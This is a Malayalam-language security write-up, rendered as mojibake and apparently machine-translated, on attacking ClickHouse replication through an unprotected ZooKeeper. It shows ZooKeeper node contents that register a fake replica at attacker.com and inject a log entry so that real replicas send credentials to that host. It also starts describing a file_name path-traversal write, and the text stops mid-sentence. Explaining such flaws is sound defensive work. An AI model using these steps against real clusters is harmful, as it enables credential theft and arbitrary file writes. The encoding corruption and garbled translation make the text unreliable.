เดŽเดจเตเดคเตเด•เตŠเดฃเตเดŸเดพเดฃเต เดจเดฟเด™เตเด™เตพ เดฎเตƒเด—เดถเดพเดฒเดฏเดฟเดฒเต† เด•เต‚เดŸเตเด•เตพ เด…เดŸเดšเตเดšเดฟเดŸเต‡เดฃเตเดŸเดคเต?

เดŽเดจเตเดคเตเด•เตŠเดฃเตเดŸเดพเดฃเต เดจเดฟเด™เตเด™เตพ เดฎเตƒเด—เดถเดพเดฒเดฏเดฟเดฒเต† เด•เต‚เดŸเตเด•เตพ เด…เดŸเดšเตเดšเดฟเดŸเต‡เดฃเตเดŸเดคเต?

เดˆ เดฒเต‡เด–เดจเด‚ ClickHouse เดฑเต†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเตป เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เดณเดฟเดฒเต† เด’เดฐเต เดชเตเดฐเดคเตเดฏเต‡เด• เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดคเดฏเตเดŸเต† เด•เดฅ เดชเดฑเดฏเตเด‚, เด•เต‚เดŸเดพเดคเต† เด†เด•เตเดฐเดฎเดฃ เด‰เดชเดฐเดฟเดคเดฒเด‚ เดŽเด™เตเด™เดจเต† เดตเดฟเด•เดธเดฟเดชเตเดชเดฟเด•เตเด•เดพเดฎเต†เดจเตเดจเตเด‚ เด•เดพเดฃเดฟเด•เตเด•เตเด‚.

เดตเดฒเดฟเดฏ เด…เดณเดตเดฟเดฒเตเดณเตเดณ เดกเดพเดฑเตเดฑ เดธเด‚เดญเดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เด’เดฐเต เดกเดพเดฑเตเดฑเดพเดฌเต‡เดธเดพเดฃเต ClickHouse, เดฎเดฟเด•เตเด•เดชเตเดชเต‹เดดเตเด‚ เด’เดจเตเดจเดฟเดฒเดงเดฟเด•เด‚ เดชเด•เตผเดชเตเดชเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเต. เด•เตเดฒเดฟเด•เตเด•เตเดนเต—เดธเดฟเดฒเต† เด•เตเดฒเดธเตเดฑเตเดฑเดฑเดฟเด‚เด—เตเด‚ เดฑเต†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเดจเตเด‚ เดฎเตเด•เดณเดฟเดฒเดพเดฃเต เดจเดฟเตผเดฎเตเดฎเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเดคเต เด…เดชเตเดชเดพเดšเตเดšเต† เดฎเตƒเด—เดถเดพเดฒเดพ เดธเต‚เด•เตเดทเดฟเดชเตเดชเตเด•เดพเดฐเตป (ZK) เด•เต‚เดŸเดพเดคเต† เดŽเดดเตเดคเดพเดจเตเดณเตเดณ เด…เดตเด•เดพเดถเด‚ เด†เดตเดถเตเดฏเดฎเดพเดฃเต.

เดธเตเดฅเดฟเดฐเดธเตเดฅเดฟเดคเดฟ ZK เด‡เตปเดธเตเดฑเตเดฑเดพเดณเต‡เดทเดจเต เด†เดงเดฟเด•เดพเดฐเดฟเด•เดค เด†เดตเดถเตเดฏเดฎเดฟเดฒเตเดฒ, เด…เดคเดฟเดจเดพเตฝ เด•เดพเดซเตเด•, เดนเดกเต‚เดชเตเดชเต, เด•เตเดฒเดฟเด•เตเด•เตเดนเต—เดธเต เดŽเดจเตเดจเดฟเดต เด•เตเดฐเดฎเต€เด•เดฐเดฟเด•เตเด•เดพเตป เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจ เด†เดฏเดฟเดฐเด•เตเด•เดฃเด•เตเด•เดฟเดจเต ZK เดธเต†เตผเดตเดฑเตเด•เตพ เดชเตŠเดคเตเดตเดพเดฏเดฟ เดฒเดญเตเดฏเดฎเดพเดฃเต.

เดจเดฟเด™เตเด™เดณเตเดŸเต† เด†เด•เตเดฐเดฎเดฃ เด‰เดชเดฐเดฟเดคเดฒเด‚ เด•เตเดฑเดฏเตเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต, ZooKeeper เด‡เตปเดธเตเดฑเตเดฑเดพเตพ เดšเต†เดฏเตเดฏเตเดฎเตเดชเต‹เตพ เดจเดฟเด™เตเด™เตพ เดŽเดฒเตเดฒเดพเดฏเตเดชเตเดชเต‹เดดเตเด‚ เดชเตเดฐเดพเดฎเดพเดฃเต€เด•เดฐเดฃเดตเตเด‚ เด…เด‚เด—เต€เด•เดพเดฐเดตเตเด‚ เด•เต‹เตบเดซเดฟเด—เตผ เดšเต†เดฏเตเดฏเดฃเด‚

เดคเต€เตผเดšเตเดšเดฏเดพเดฏเตเด‚ 0-เดฆเดฟเดตเดธเดคเตเดคเต† เด…เดŸเดฟเดธเตเดฅเดพเดจเดฎเดพเด•เตเด•เดฟเดฏเตเดณเตเดณ เดœเดพเดต เดกเดฟเดธเต€เดฐเดฟเดฏเดฒเตˆเดธเต‡เดทเดจเตเด•เตพ เด‰เดฃเตเดŸเต, เดŽเดจเตเดจเดพเตฝ เด’เดฐเต เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเด•เตเด•เต ClickHouse เดฑเต†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเดจเดพเดฏเดฟ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจ ZooKeeper-เดฒเต‡เด•เตเด•เต เดตเดพเดฏเดฟเด•เตเด•เดพเดจเตเด‚ เดŽเดดเตเดคเดพเดจเตเด‚ เด•เดดเดฟเดฏเตเดฎเต†เดจเตเดจเต เดธเด™เตเด•เตฝเดชเตเดชเดฟเด•เตเด•เตเด•.

เด•เตเดฒเดธเตเดฑเตเดฑเตผ เดฎเต‹เดกเดฟเตฝ เด•เต‹เตบเดซเดฟเด—เตผ เดšเต†เดฏเตเดฏเตเดฎเตเดชเต‹เตพ, ClickHouse เดกเดฟเดธเตเดŸเตเดฐเดฟเดฌเตเดฏเต‚เดŸเตเดŸเดกเต เด•เตเดตเดฑเดฟเด•เดณเต† เดชเดฟเดจเตเดคเตเดฃเดฏเตเด•เตเด•เตเดจเตเดจเต เดกเดฟ.เดกเดฟ.เดŽเตฝ., ZK เดตเดดเดฟ เด•เดŸเดจเตเดจเตเดชเต‹เด•เตเดจเตเดจเต - เด…เดตเดฏเตเด•เตเด•เดพเดฏเดฟ เดจเต‹เดกเตเด•เตพ เดทเต€เดฑเตเดฑเดฟเตฝ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เดชเตเดชเต†เดŸเตเดจเตเดจเต /clickhouse/task_queue/ddl.

เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เดจเดฟเด™เตเด™เตพ เด’เดฐเต เดจเต‹เดกเต เดธเตƒเดทเตเดŸเดฟเด•เตเด•เตเดจเตเดจเต /clickhouse/task_queue/ddl/query-0001 เด‰เดณเตเดณเดŸเด•เตเด•เดคเตเดคเต‹เดŸเตŠเดชเตเดชเด‚:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

เด…เดคเดฟเดจเตเดถเต‡เดทเด‚, เดนเต‹เดธเตเดฑเตเดฑเต1, เดนเต‹เดธเตเดฑเตเดฑเต2 เดŽเดจเตเดจเต€ เด•เตเดฒเดธเตเดฑเตเดฑเตผ เดธเต†เตผเดตเดฑเตเด•เดณเดฟเตฝ เดŸเต†เดธเตเดฑเตเดฑเต เดŸเต‡เดฌเดฟเตพ เด‡เดฒเตเดฒเดพเดคเดพเด•เตเด•เดชเตเดชเต†เดŸเตเด‚. เด•เตเดฐเดฟเดฏเต‡เดฑเตเดฑเต/เด†เตพเดŸเตเดŸเตผ/เดกเตเดฐเต‹เดชเตเดชเต เดšเต‹เดฆเตเดฏเด™เตเด™เตพ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเดคเตเด‚ เดกเดฟเดกเดฟเดŽเตฝ เดชเดฟเดจเตเดคเตเดฃเดฏเตเด•เตเด•เตเดจเตเดจเต.

เดญเดฏเด™เตเด•เดฐเดฎเดพเดฏเดฟ เดคเต‹เดจเตเดจเตเดจเตเดจเตเดฃเตเดŸเต‹? เดŽเดจเตเดจเดพเตฝ เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเด•เตเด•เต เดธเต†เตผเดตเตผ เดตเดฟเดฒเดพเดธเด™เตเด™เตพ เดŽเดตเดฟเดŸเต† เดจเดฟเดจเตเดจเต เดฒเดญเดฟเด•เตเด•เตเด‚?

เด•เตเดฒเดฟเด•เตเด•เต เดนเต—เดธเต เดฑเต†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเตป เดตเตเดฏเด•เตเดคเดฟเด—เดค เดชเดŸเตเดŸเดฟเด•เด•เดณเตเดŸเต† เดคเดฒเดคเตเดคเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเต, เด…เดคเดฟเดจเดพเตฝ ZK-เดฏเดฟเตฝ เด’เดฐเต เดชเดŸเตเดŸเดฟเด• เดธเตƒเดทเตเดŸเดฟเด•เตเด•เตเดฎเตเดชเต‹เตพ, เดฎเต†เดฑเตเดฑเดพเดกเดพเดฑเตเดฑ เดชเด•เตผเดชเตเดชเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เด•เตˆเดฎเดพเดฑเตเดฑเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเต เด‰เดคเตเดคเดฐเดตเดพเดฆเดฟเดฏเดพเดฏ เด’เดฐเต เดธเต†เตผเดตเตผ เดตเตเดฏเด•เตเดคเดฎเดพเด•เตเด•เตเดจเตเดจเต. เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เด’เดฐเต เด…เดญเตเดฏเตผเดคเตเดฅเดจ เดจเดŸเดชเตเดชเดฟเดฒเดพเด•เตเด•เตเดฎเตเดชเต‹เตพ (ZK เด•เต‹เตบเดซเดฟเด—เตผ เดšเต†เดฏเตเดคเดฟเดฐเดฟเด•เตเด•เดฃเด‚, chXX - เดชเด•เตผเดชเตเดชเดฟเดจเตเดฑเต† เดชเต‡เดฐเต, เดซเต‚เดฌเดพเตผ - เดชเดŸเตเดŸเดฟเด•เดฏเตเดŸเต† เดชเต‡เดฐเต):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

เดจเต‹เดกเตเด•เตพ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เดชเตเดชเต†เดŸเตเด‚ เดจเดฟเดฐเด•เตพ ะธ เดฎเต†เดฑเตเดฑเดพเดกเดพเดฑเตเดฑ.

เด‰เดณเตเดณเดŸเด•เตเด•เด‚ /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

เดˆ เด•เตเดฒเดธเตเดฑเตเดฑเดฑเดฟเตฝ เดจเดฟเดจเตเดจเต เดกเดพเดฑเตเดฑ เดฒเดฏเดฟเดชเตเดชเดฟเด•เตเด•เดพเตป เด•เดดเดฟเดฏเตเดฎเต‹? เด…เดคเต†, เดฑเต†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเตป เดชเต‹เตผเดŸเตเดŸเต เด†เดฃเต†เด™เตเด•เดฟเตฝ (TCP/9009) เดธเต†เตผเดตเดฑเดฟเตฝ chXX-address เดซเดฏเตผเดตเดพเตพ เด…เดŸเดฏเตโ€Œเด•เตเด•เดฟเดฒเตเดฒ, เดชเด•เตผเดชเตเดชเดฟเดจเตเดณเตเดณ เดชเตเดฐเดพเดฎเดพเดฃเต€เด•เดฐเดฃเด‚ เด•เต‹เตบเดซเดฟเด—เตผ เดšเต†เดฏเตเดฏเดฟเดฒเตเดฒ. เดชเตเดฐเดพเดฎเดพเดฃเต€เด•เดฐเดฃเด‚ เดŽเด™เตเด™เดจเต† เดฎเดฑเดฟเด•เดŸเด•เตเด•เดพเด‚?

เด’เดฐเต เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเด•เตเด•เต ZK-เตฝ เดจเดฟเดจเตเดจเต เด‰เดณเตเดณเดŸเด•เตเด•เด‚ เดชเด•เตผเดคเตเดคเดฟ เด’เดฐเต เดชเตเดคเดฟเดฏ เดชเด•เตผเดชเตเดชเต เดธเตƒเดทเตเดŸเดฟเด•เตเด•เดพเตป เด•เดดเดฟเดฏเตเด‚ /clickhouse/tables/01-01/foobar/replicas/chXX เด…เตผเดคเตเดฅเด‚ เดฎเดพเดฑเตเดฑเตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต host.

เด‰เดณเตเดณเดŸเด•เตเด•เด‚ /clickhouse/tables/01โ€“01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเดฏเตเดŸเต† เดธเต†เตผเดตเดฑเดฟเตฝ เด…เดตเตผ เดŽเดŸเตเด•เตเด•เต‡เดฃเตเดŸ เดกเดพเดฑเตเดฑเดฏเตเดŸเต† เด’เดฐเต เดชเตเดคเดฟเดฏ เดฌเตเดฒเต‹เด•เตเด•เต เด‰เดฃเตเดŸเต†เดจเตเดจเต เดฎเดฑเตเดฑเต เดชเด•เตผเดชเตเดชเตเด•เดณเต‹เดŸเต เดจเดฟเด™เตเด™เตพ เดชเดฑเดฏเต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต - ZK-เดฏเดฟเตฝ เด’เดฐเต เดจเต‹เดกเต เดธเตƒเดทเตโ€ŒเดŸเดฟเดšเตเดšเต /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX เดเด•เดคเดพเดจเดฎเดพเดฏเดฟ เดตเดณเดฐเตเดจเตเดจ เด•เต—เดฃเตเดŸเตผ, เด‡เดตเดจเตเดฑเต เดฒเต‹เด—เดฟเดฒเต† เด…เดตเดธเดพเดจเดคเตเดคเต‡เดคเดฟเดจเต‡เด•เตเด•เดพเตพ เดตเดฒเตเดคเดพเดฏเดฟเดฐเดฟเด•เตเด•เดฃเด‚):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

เดŽเดตเดฟเดŸเต† เด‰เดฑเดตเดฟเดŸเด‚_เดชเตเดฐเดคเดฟเดฐเต‚เดชเด‚ - เดฎเตเดฎเตเดชเดคเตเดคเต† เด˜เดŸเตเดŸเดคเตเดคเดฟเตฝ เดธเตƒเดทเตเดŸเดฟเดšเตเดš เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเดฏเตเดŸเต† เดชเด•เตผเดชเตเดชเดฟเดจเตเดฑเต† เดชเต‡เดฐเต, เดฌเตเดฒเต‹เด•เตเด•เต_เดเดกเดฟ - เดกเดพเดฑเตเดฑ เดฌเตเดฒเต‹เด•เตเด•เต เดเดกเดจเตเดฑเดฟเดซเดฏเตผ, เดจเต‡เดŸเตเด• - "เด—เต†เดฑเตเดฑเต เดฌเตเดฒเต‹เด•เตเด•เต" เด•เดฎเดพเตปเดกเต (เด•เต‚เดŸเดพเดคเต† เดฎเดฑเตเดฑเต เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เตพเด•เตเด•เตเดณเตเดณ เด•เดฎเดพเตปเดกเตเด•เตพ เด‡เดคเดพ).

เด…เดŸเตเดคเตเดคเดคเดพเดฏเดฟ, เด“เดฐเต‹ เดชเด•เตผเดชเตเดชเตเด‚ เดฒเต‹เด—เดฟเตฝ เด’เดฐเต เดชเตเดคเดฟเดฏ เด‡เดตเดจเตเดฑเต เดตเดพเดฏเดฟเด•เตเด•เตเด•เดฏเตเด‚ เด’เดฐเต เดฌเตเดฒเต‹เด•เตเด•เต เดกเดพเดฑเตเดฑ เดธเตเดตเต€เด•เดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟ เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดค เดธเต†เตผเดตเดฑเดฟเดฒเต‡เด•เตเด•เต เดชเต‹เด•เตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต (เดฑเต†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเตป เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เตพ เดฌเตˆเดจเดฑเดฟ เด†เดฃเต, HTTP-เดฏเตเดŸเต† เดฎเตเด•เดณเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเต). เดธเต†เตผเดตเตผ attacker.com เด…เดญเตเดฏเตผเดคเตเดฅเดจเด•เตพ เดฒเดญเดฟเด•เตเด•เตเด‚:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

เด‡เดตเดฟเดŸเต† XXX เดŽเดจเตเดจเดคเต เด…เดจเตเด•เดฐเดฃเดคเตเดคเดฟเดจเตเดณเตเดณ เดชเตเดฐเดพเดฎเดพเดฃเต€เด•เดฐเดฃ เดกเดพเดฑเตเดฑเดฏเดพเดฃเต. เดšเดฟเดฒ เดธเดพเดนเดšเดฐเตเดฏเด™เตเด™เดณเดฟเตฝ, เด‡เดคเต เดชเตเดฐเดงเดพเดจ ClickHouse เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เดณเตเด‚ HTTP เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เดณเตเด‚ เดตเดดเดฟ เดกเดพเดฑเตเดฑเดพเดฌเต‡เดธเดฟเดฒเต‡เด•เตเด•เตเดณเตเดณ เด†เด•เตเดธเดธเต เด‰เดณเตเดณ เด’เดฐเต เด…เด•เตเด•เต—เดฃเตเดŸเดพเดฏเดฟเดฐเดฟเด•เตเด•เดพเด‚. เดจเดฟเด™เตเด™เตพ เด•เดฃเตเดŸเดคเตเดชเต‹เดฒเต†, เด†เดงเดฟเด•เดพเดฐเดฟเด•เดค เด•เต‹เตบเดซเดฟเด—เตผ เดšเต†เดฏเตเดฏเดพเดคเต† เดคเดจเตเดจเต† เดชเด•เตผเดชเตเดชเต†เดŸเตเด•เตเด•เดพเตป เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจ ZooKeeper เด‰เดชเต‡เด•เตเดทเดฟเดšเตเดšเดคเดฟเดจเดพเตฝ เด†เด•เตเดฐเดฎเดฃ เดชเตเดฐเดคเดฒเด‚ เดตเดณเดฐเต† เดตเดฒเตเดคเดพเดฏเดฟ เดฎเดพเดฑเตเดจเตเดจเต.

เด’เดฐเต เดชเด•เตผเดชเตเดชเดฟเตฝ เดจเดฟเดจเตเดจเต เด’เดฐเต เดฌเตเดฒเต‹เด•เตเด•เต เดกเดพเดฑเตเดฑ เดจเต‡เดŸเตเดจเตเดจเดคเดฟเดจเตเดฑเต† เดชเตเดฐเดตเตผเดคเตเดคเดจเด‚ เดจเต‹เด•เตเด•เดพเด‚, เดŽเดฒเตเดฒเดพ เดชเด•เตผเดชเตเดชเตเด•เดณเตเด‚ เดถเดฐเดฟเดฏเดพเดฏ เดจเดฟเดฏเดจเตเดคเตเดฐเดฃเดคเตเดคเดฟเดฒเดพเดฃเต†เดจเตเดจเตเด‚ เด…เดตเดฏเตเด•เตเด•เดฟเดŸเดฏเดฟเตฝ เดตเดฟเดถเตเดตเดพเดธเดฎเตเดฃเตเดŸเต†เดจเตเดจเตเด‚ เดชเต‚เตผเดฃเตเดฃ เด†เดคเตเดฎเดตเดฟเดถเตเดตเดพเดธเดคเตเดคเต‹เดŸเต† เดŽเดดเตเดคเดฟเดฏเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต.

เดŽเดจเตเดคเตเด•เตŠเดฃเตเดŸเดพเดฃเต เดจเดฟเด™เตเด™เตพ เดฎเตƒเด—เดถเดพเดฒเดฏเดฟเดฒเต† เด•เต‚เดŸเตเด•เตพ เด…เดŸเดšเตเดšเดฟเดŸเต‡เดฃเตเดŸเดคเต?
เดฑเต†เดชเตเดฒเดฟเด•เตเด•เต‡เดทเตป เดชเตเดฐเต‹เดธเดธเตเดธเดฟเด‚เด—เต เด•เต‹เดกเต

เดซเด‚เด—เตเดทเตป เดซเดฏเดฒเตเด•เดณเตเดŸเต† เด’เดฐเต เดฒเดฟเดธเตเดฑเตเดฑเต เดตเดพเดฏเดฟเด•เตเด•เตเดจเตเดจเต, เดคเตเดŸเตผเดจเตเดจเต เด…เดตเดฏเตเดŸเต† เดชเต‡เดฐเตเด•เตพ, เดตเดฒเตเดชเตเดชเด™เตเด™เตพ, เด‰เดณเตเดณเดŸเด•เตเด•เด™เตเด™เตพ, เดคเตเดŸเตผเดจเตเดจเต เด…เดต เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเดฒเต‡เด•เตเด•เต เดŽเดดเตเดคเตเดจเตเดจเต. เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เดกเดพเดฑเตเดฑ เดŽเด™เตเด™เดจเต† เดธเด‚เดญเดฐเดฟเด•เตเด•เดชเตเดชเต†เดŸเตเดจเตเดจเตเดตเต†เดจเตเดจเต เดชเตเดฐเดคเตเดฏเต‡เด•เด‚ เดตเดฟเดตเดฐเดฟเด•เตเด•เตเดจเตเดจเดคเต เดฎเต‚เดฒเตเดฏเดตเดคเตเดคเดพเดฃเต.

เดจเดฟเดฐเดตเดงเดฟ เด‰เดชเดกเดฏเดฑเด•เตโ€ŒเดŸเดฑเดฟเด•เดณเตเดฃเตเดŸเต /var/lib/clickhouse (เด•เต‹เตบเดซเดฟเด—เดฑเต‡เดทเตป เดซเดฏเดฒเดฟเตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เดกเดฟเดซเต‹เตพเดŸเตเดŸเต เดธเตเดฑเตเดฑเต‹เดฑเต‡เดœเต เดกเดฏเดฑเด•เตเดŸเดฑเดฟ):

เดซเตเดฒเดพเด—เตเด•เตพ - เดฑเต†เด•เตเด•เต‹เตผเดกเดฟเด‚เด—เดฟเดจเตเดณเตเดณ เดกเดฏเดฑเด•เตเดŸเดฑเดฟ เดชเดคเดพเด•เด•เตพ, เดกเดพเดฑเตเดฑ เดจเดทเตเดŸเด‚ เดถเต‡เดทเด‚ เดตเต€เดฃเตเดŸเต†เดŸเตเด•เตเด•เตฝ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเต;
tmp - เดคเดพเตฝเด•เตเด•เดพเดฒเดฟเด• เดซเดฏเดฒเตเด•เตพ เดธเด‚เดญเดฐเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดกเดฏเดฑเด•เตเดŸเดฑเดฟ;
user_files โ€” เด…เดญเตเดฏเตผเดคเตเดฅเดจเด•เดณเดฟเดฒเต† เดซเดฏเดฒเตเด•เดณเตเดณเตเดณ เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เตพ เดˆ เดกเดฏเดฑเด•เตโ€ŒเดŸเดฑเดฟเดฏเดฟเตฝ เดชเดฐเดฟเดฎเดฟเดคเดชเตเดชเต†เดŸเตเดคเตเดคเดฟเดฏเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต (เด‡เดจเตเดฑเตŠ เด”เดŸเตเดŸเตโ€Œเดซเตˆเดฒเตเด‚ เดฎเดฑเตเดฑเตเดณเตเดณเดตเดฏเตเด‚);
เดฎเต†เดฑเตเดฑเดพเดกเดพเดฑเตเดฑ - เดชเดŸเตเดŸเดฟเด• เดตเดฟเดตเดฐเดฃเด™เตเด™เดณเตเดณเตเดณ sql เดซเดฏเดฒเตเด•เตพ;
preprocessed_configs - เดจเดฟเดจเตเดจเต เดกเต†เดฑเดฟเดตเต‡เดฑเตเดฑเต€เดตเต เด•เต‹เตบเดซเดฟเด—เดฑเต‡เดทเตป เดซเดฏเดฒเตเด•เตพ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดคเต /etc/clickhouse-server;
เดกเดพเดฑเตเดฑ - เดกเดพเดฑเตเดฑเดฏเตเดฎเตŠเดคเตเดคเตเดณเตเดณ เดฏเดฅเดพเตผเดคเตเดฅ เดกเดฏเดฑเด•เตโ€ŒเดŸเดฑเดฟ, เดˆ เดธเดพเดนเดšเดฐเตเดฏเดคเตเดคเดฟเตฝ เด“เดฐเต‹ เดกเดพเดฑเตเดฑเดพเดฌเต‡เดธเดฟเดจเตเด‚ เด’เดฐเต เดชเตเดฐเดคเตเดฏเต‡เด• เด‰เดชเดกเดฏเดฑเด•เตโ€ŒเดŸเดฑเดฟ เด‡เดตเดฟเดŸเต† เดธเตƒเดทเตโ€ŒเดŸเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต (เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต /var/lib/clickhouse/data/default).

เด“เดฐเต‹ เดŸเต‡เดฌเดฟเดณเดฟเดจเตเด‚, เดกเดพเดฑเตเดฑเดพเดฌเต‡เดธเต เดกเดฏเดฑเด•เตโ€ŒเดŸเดฑเดฟเดฏเดฟเตฝ เด’เดฐเต เด‰เดชเดกเดฏเดฑเด•เตโ€ŒเดŸเดฑเดฟ เดธเตƒเดทเตโ€ŒเดŸเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต. เด“เดฐเต‹ เดจเดฟเดฐเดฏเตเด‚ เด…เดจเตเดธเดฐเดฟเดšเตเดšเต เด’เดฐเต เดชเตเดฐเดคเตเดฏเต‡เด• เดซเดฏเดฒเดพเดฃเต เดŽเดžเตเดšเดฟเตป เดซเต‹เตผเดฎเดพเดฑเตเดฑเต. เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต เด’เดฐเต เดŸเต‡เดฌเดฟเดณเดฟเดจเต เดซเต‚เดฌเดพเตผเด’เดฐเต เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟ เดธเตƒเดทเตเดŸเดฟเดšเตเดšเดคเต, เด‡เดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจ เดซเดฏเดฒเตเด•เตพ เดธเตƒเดทเตเดŸเดฟเด•เตเด•เดชเตเดชเต†เดŸเตเด‚:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

เด’เดฐเต เดฌเตเดฒเต‹เด•เตเด•เต เดกเดพเดฑเตเดฑ เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเดฎเตเดชเต‹เตพ เด…เดคเต‡ เดชเต‡เดฐเดฟเดฒเตเดณเตเดณ เดซเดฏเดฒเตเด•เตพ เดฒเดญเดฟเด•เตเด•เตเดฎเต†เดจเตเดจเต เดฑเต†เดชเตเดฒเดฟเด•เตเด• เดชเตเดฐเดคเต€เด•เตเดทเดฟเด•เตเด•เตเดจเตเดจเต, เด…เดต เด’เดฐเต เดคเดฐเดคเตเดคเดฟเดฒเตเด‚ เดธเดพเดงเต‚เด•เดฐเดฟเด•เตเด•เตเดจเตเดจเดฟเดฒเตเดฒ.

เด’เดฐเต เดซเด‚เด—เตโ€Œเดทเดจเดฟเตฝ เดซเดฏเตฝ_เดจเดพเดฎเดคเตเดคเดฟเดจเตเดฑเต† เดธเตเดฐเด•เตเดทเดฟเดคเดฎเดฒเตเดฒเดพเดคเตเดค เดธเด‚เดฏเต‹เดœเดจเดคเตเดคเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เดถเตเดฐเดฆเตเดงเดฏเตเดณเตเดณ เดตเดพเดฏเดจเด•เตเด•เดพเดฐเตป เด‡เดคเดฟเดจเด•เด‚ เด•เต‡เดŸเตเดŸเดฟเดŸเตเดŸเตเดฃเตเดŸเดพเด•เตเด‚. WriteBufferFromFile. เด…เดคเต†, เด‰เดชเดฏเต‹เด•เตเดคเตƒ เด…เดตเด•เดพเดถเด™เตเด™เดณเตเดณเตเดณ FS-เดฒเต† เดเดคเต เดซเดฏเดฒเดฟเดฒเต‡เด•เตเด•เตเด‚ เด…เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดคเดฎเดพเดฏ เด‰เดณเตเดณเดŸเด•เตเด•เด‚ เดŽเดดเตเดคเดพเตป เด‡เดคเต เด’เดฐเต เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟเดฏเต† เด…เดจเตเดตเดฆเดฟเด•เตเด•เตเดจเตเดจเต clickhouse. เด‡เดคเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเต, เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟ เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเด•เตเด•เตเดจเตเดจ เดชเด•เตผเดชเตเดชเต เด…เดญเตเดฏเตผเดคเตเดฅเดจเดฏเตเด•เตเด•เต เด‡เดจเดฟเดชเตเดชเดฑเดฏเตเดจเตเดจ เดชเตเดฐเดคเดฟเด•เดฐเดฃเด‚ เดจเตฝเด•เดฃเด‚ (เดฎเดจเดธเตเดธเดฟเดฒเดพเด•เตเด•เดพเตป เดŽเดณเตเดชเตเดชเดคเตเดคเดฟเดจเดพเดฏเดฟ เดฒเตˆเตป เดฌเตเดฐเต‡เด•เตเด•เตเด•เตพ 